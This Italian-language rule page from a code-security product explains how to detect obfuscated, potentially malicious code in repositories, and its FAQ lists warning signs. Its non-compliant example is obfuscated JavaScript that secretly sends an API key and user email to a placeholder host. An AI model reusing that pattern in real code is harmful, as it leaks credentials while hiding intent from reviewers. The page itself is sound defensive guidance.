Aikido

Individuare modelli di codice potenzialmente dannosi: identificare le minacce nascoste nel proprio codice sorgente

Sicurezza

Regola
Rileva potenzialmente maliziosi modelli .
Codice dovrebbe essere trasparente nella suo intenzione. 
L' offuscamento o nascondere tecniche suggeriscono
un intenti o backdoor.
Lingue supportate: 45+

Introduzione

Il codice offuscato nei repository di produzione non è sempre innocuo. Sebbene esistano casi d’uso legittimi per la minificazione del codice nelle build frontend, una logica deliberatamente oscurata nel codice sorgente spesso indica attacchi alla catena di approvvigionamento, backdoor o dipendenze compromesse. Gli autori degli attacchi utilizzano espedienti di codifica, concatenazioni insolite di stringhe, valutazione dinamica e altre tecniche di offuscamento per nascondere i payload dannosi a revisioni superficiali del codice.

Perché è importante

Implicazioni per la sicurezza: il codice offuscato è uno dei principali indicatori di una compromissione della catena di approvvigionamento. La backdoor XZ Utils del 2024 utilizzava tecniche sofisticate di offuscamento per nascondere codice dannoso finalizzato al bypass dell’autenticazione SSH. Tecniche simili sono state riscontrate in pacchetti npm compromessi che sottraggono variabili d’ambiente o credenziali. Quando il codice nasconde deliberatamente le proprie intenzioni, significa che è stato progettato per eludere il rilevamento durante le revisioni di sicurezza e le scansioni automatizzate.

Manutenibilità del codice: anche quando l’offuscamento non è doloso, crea veri e propri incubi in termini di manutenzione. Gli sviluppatori futuri non riescono a comprenderne l’intento, il debug diventa impossibile e il codice si trasforma in un debito tecnico che nessuno vuole affrontare. La logica offuscata elude tutti gli strumenti di analisi statica progettati per individuare bug o vulnerabilità.

Espansione della superficie di attacco: Tecniche di offuscamento come eval(), Funzione() I costruttori o le stringhe codificate in base64 generano percorsi di esecuzione del codice dinamici che gli strumenti di sicurezza non sono in grado di analizzare in modo statico. Ciò amplia la superficie di attacco introducendo comportamenti in fase di esecuzione che non sono visibili durante la revisione del codice sorgente.

Impatto sulle prestazioni: il codice offuscato ricorre spesso a modelli inefficienti quali l'eccessiva concatenazione di stringhe, l'accesso dinamico alle proprietà o operazioni ripetute di codifica/decodifica. Tali modelli compromettono le prestazioni senza tuttavia perseguire alcuno scopo aziendale legittimo nei repository di codice sorgente.

Esempi di codice

❌ Non conforme:

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

Perché non è sicuro: I nomi delle variabili sono volutamente privi di significato, l'accesso alle stringhe è offuscato tramite l'indicizzazione degli array e l'effettivo endpoint contattato non è chiaro. Questo schema è identico al modo in cui i pacchetti dannosi sottraggono le credenziali, rendendo impossibile verificare il vero intento del codice durante la revisione.

✅ Conforme:

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

Perché è sicuro: Nomi delle variabili chiari, endpoint esplicito, struttura dei dati trasparente e intento evidente. Chiunque esamini il codice può capire immediatamente quali dati vengono inviati e dove. Questo codice può essere verificato sia da strumenti di sicurezza che da persone.

Conclusione

La presenza di codice offuscato nei repository dei sorgenti costituisce un segnale di allarme in materia di sicurezza che richiede un'indagine approfondita. Sebbene la minificazione in fase di compilazione sia accettabile ai fini dell'ottimizzazione del front-end, il codice sorgente dovrebbe sempre essere leggibile e trasparente. Individuare tempestivamente i modelli di offuscamento previene le violazioni della catena di approvvigionamento e garantisce la verificabilità del codice.

Domande frequenti

Hai delle domande?

Quali sono i modelli di offuscamento più comuni che indicano la presenza di codice dannoso?

Da tenere d'occhio: stringhe codificate in esadecimale o in base64 che vengono decodificate in fase di esecuzione (`Buffer.from('aGVsbG8=', 'base64')`), l'uso di `eval()` o del costruttore `Function()` con stringhe dinamiche, l'offuscamento delle stringhe basato su array in cui si accede alle stringhe tramite indici, l'escape di caratteri insolito (`\x68\x65\x6c\x6c\x6f` invece di `"hello"`), l'accesso alle proprietà tramite notazione tra parentesi quadre con valori calcolati e operatori ternari profondamente annidati che oscurano il flusso di controllo. Questi modelli compaiono raramente nel codice legittimo.

Esistono motivi legittimi per l'offuscamento del codice sorgente?

Pochissimi. Tra i casi d'uso legittimi figurano: la protezione di algoritmi proprietari nel software commerciale (anche se questo aspetto viene gestito meglio tramite servizi di backend), il codice relativo alle licenze e alla gestione dei diritti digitali (DRM) che deve resistere alle manomissioni e la protezione anti-bot lato client. Tuttavia, anche questi casi dovrebbero essere isolati, documentati e sottoposti a revisione separatamente. Il codice delle applicazioni generiche non dovrebbe mai essere offuscato nei repository dei sorgenti.

Come faccio a distinguere tra codice minificato e offuscamento malevolo?

Il codice minificato compare negli artefatti di compilazione, non nei file sorgente. Il tuo repository dovrebbe contenere codice sorgente leggibile che viene minificato durante il processo di compilazione. Se trovi codice minificato o offuscato nella directory `src/` o nei file sorgente di `node_modules`, è un segnale sospetto. Una minificazione legittima mantiene anche una certa struttura (interruzioni di riga tra le funzioni), mentre l'offuscamento malevolo spesso crea espressioni su una sola riga e profondamente annidate.

Cosa devo fare se trovo del codice offuscato in una dipendenza?

Esamina immediatamente il pacchetto. Verifica quando è stata introdotta l'offuscazione (confronta le versioni recenti), controlla la cronologia del manutentore del pacchetto, cerca eventuali avvisi di sicurezza ed esamina cosa fa effettivamente il codice offuscato (strumenti come `js-beautify` possono essere d'aiuto). Se non riesci a verificarne la sicurezza, rimuovi la dipendenza o blocca l'aggiornamento all'ultima versione funzionante conosciuta. Segnala i pacchetti sospetti a npm security o al registro dei pacchetti pertinente.

L'offuscamento può essere utilizzato per garantire la sicurezza attraverso l'oscurità?

No. La sicurezza basata sull’oscurità fallisce perché l’offuscamento è reversibile. Gli aggressori riusciranno a deoffuscare il vostro codice, mentre il vostro team di sicurezza e gli strumenti automatizzati non saranno in grado di analizzarlo facilmente. Ciò crea un rischio asimmetrico: voi non siete in grado di individuare le vulnerabilità, mentre gli aggressori sì. La vera sicurezza deriva da un’autenticazione adeguata, dalla crittografia, dal principio del privilegio minimo e da altre misure di difesa in profondità, non dall’occultamento dei dettagli di implementazione.

In che modo gli attacchi alla catena di approvvigionamento utilizzano l’offuscamento?

Gli aggressori compromettono pacchetti legittimi e vi inseriscono codice dannoso offuscato che sottrae variabili d’ambiente, credenziali o codice sorgente. L’offuscamento aiuta il commit dannoso a superare i controlli automatici e le revisioni superficiali del codice. L’incidente relativo a Event-Stream del 2018 ha utilizzato l’offuscamento per nascondere il furto di un portafoglio Bitcoin. Più recentemente, decine di pacchetti npm hanno utilizzato la codifica base64 per nascondere il codice di sottrazione delle credenziali. Rilevare i modelli di offuscamento è fondamentale per la sicurezza della catena di approvvigionamento.

Qual è l'impatto sulle prestazioni dei modelli di codice offuscato?

Il codice offuscato ricorre spesso a tecniche inefficienti: concatenazione di stringhe all’interno di cicli, codifica/decodifica ripetuta in base64, accesso dinamico alle proprietà che impedisce l’ottimizzazione del motore JavaScript e creazione eccessiva di chiusure. Questi modelli possono ridurre le prestazioni del 10-50% rispetto a un codice leggibile equivalente. Ancora più importante, l’impatto sulle prestazioni è imprevedibile perché il codice offuscato impedisce le ottimizzazioni in fase di esecuzione che motori come V8 effettuano sul codice trasparente.

Metti in sicurezza ora

Metti in sicurezza il tuo codice, il cloud e il runtime in un unico sistema centralizzato.
Trova e risolvi le vulnerabilità rapidamente e automaticamente.

Nessuna carta di credito richiesta | Risultati della scansione in 32 secondi.